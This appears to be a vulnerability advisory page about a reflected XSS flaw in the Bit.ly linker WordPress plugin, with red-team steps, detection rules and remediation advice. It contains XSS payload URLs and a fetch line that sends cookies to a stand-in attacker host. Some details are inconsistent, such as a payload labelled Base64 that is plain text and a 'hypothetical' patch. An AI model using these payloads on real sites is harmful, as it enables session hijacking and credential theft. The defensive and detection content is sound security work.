CVE-2025-23674
Executive Summary
CVE-2025-23674 is a reflected Cross-Site Scripting (XSS) vulnerability in the Bit.ly linker WordPress plugin (versions <= 1.1) developed by andygauk. The plugin fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code into a reflected response. This vulnerability is classified as a WordPress ecosystem issue and does not affect the underlying web server (Apache/Nginx). With a CVSS score of 7.1 (High), exploitation requires user interaction (e.g., clicking a crafted link) and can lead to session hijacking, credential theft, or defacement. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low active exploitation likelihood at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin installation and monitor for updates from the vendor. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Changed (S:C)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: High. Although user interaction is required, the low complexity and network-based attack vector make this a viable target for phishing campaigns and automated scanners.
Deep Dive & Mechanics
The vulnerability resides in the bitly-linker.php file of the Bit.ly linker plugin. The plugin reflects user-supplied input (likely via a url or link parameter) directly into the HTML response without proper sanitization or encoding. An attacker can craft a malicious URL containing JavaScript payloads, such as:
https://target-site.com/wp-content/plugins/bitly-linker/bitly-linker.php?url=<script>alert('XSS')</script>
When a victim clicks this link, the injected script executes in the context of the victim's browser session. The plugin does not use WordPress's built-in escaping functions (e.g., esc_url(), esc_html()) or output encoding, leading to the reflected XSS.
Vulnerable vs. Patched Code
Vulnerable Code (bitly-linker.php, version <= 1.1):
<?php
$url = $_GET['url'];
echo "<a href='$url'>Click here</a>";
?>
Patched Code (hypothetical):
<?php
$url = esc_url($_GET['url']);
echo "<a href='" . esc_url($url) . "'>Click here</a>";
?>
The patched version uses esc_url() to sanitize the URL and esc_attr() for attribute context, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
- Setup: Deploy a WordPress instance with Bit.ly linker plugin version 1.1.
- Craft Payload: Create a malicious URL:
http://target/wp-content/plugins/bitly-linker/bitly-linker.php?url=javascript:alert(document.cookie) - Deliver: Send the link via email or social engineering.
- Execute: When the victim clicks, the JavaScript executes, exfiltrating cookies to an attacker-controlled server.
Example Payload (Base64 encoded):
fetch('https://attacker.com/steal?cookie='+document.cookie)
Blue Team (Detection & Hardening)
- Monitor Logs: Check web server access logs for suspicious
bitly-linker.phprequests withurlparameters containing<script>orjavascript:. - WAF Rules: Deploy a Web Application Firewall rule to block requests containing
url=with script tags. - Plugin Removal: Disable and remove the Bit.ly linker plugin until a patch is available.
Indicators of Compromise (IOCs)
- URL Pattern:
*/wp-content/plugins/bitly-linker/bitly-linker.php?url=* - Payload Indicators:
url=parameter containing<script>,javascript:,onerror=, oralert( - Network Traffic: Outbound connections to unknown domains from the victim's browser (e.g.,
attacker.com/steal?cookie=...) - Log Entries: HTTP 200 responses to
bitly-linker.phpwith non-standardurlparameters.
Detection Engineering
YARA Rule
rule CVE_2025_23674_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against Bit.ly linker plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-23674"
strings:
$payload1 = /bitly-linker\.php\?url=.*<script/i
$payload2 = /bitly-linker\.php\?url=.*javascript:/i
$payload3 = /bitly-linker\.php\?url=.*onerror=/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against Bit.ly Linker Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting bitly-linker.php with suspicious url parameters
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
c-uri|contains: '/wp-content/plugins/bitly-linker/bitly-linker.php'
cs-uri-query|contains: 'url='
filter:
cs-uri-query|contains:
- '<script'
- 'javascript:'
- 'onerror='
- 'alert('
condition: selection and filter
falsepositives:
- Legitimate use of the plugin with benign URLs
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-23674 - Reflected XSS in Bit.ly Linker Plugin";
flow:to_server,established;
content:"GET"; http_method;
content:"/wp-content/plugins/bitly-linker/bitly-linker.php"; http_uri;
content:"url="; http_uri;
pcre:"/url=.*(<script|javascript:|onerror=|alert\()/Ui";
classtype:web-application-attack;
sid:10000001;
rev:1;
)
Remediation & Mitigation
- Immediate Action: Disable and remove the Bit.ly linker plugin from all WordPress installations.
- Alternative: Use a different URL shortener plugin that is actively maintained and patched.
- WAF Rules: Implement virtual patching via WAF to block malicious
urlparameters. - User Education: Train users to avoid clicking suspicious links, especially those containing
bitly-linker.php. - Monitor: Continuously monitor for plugin updates from the vendor (andygauk) or consider forking and patching the code yourself.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.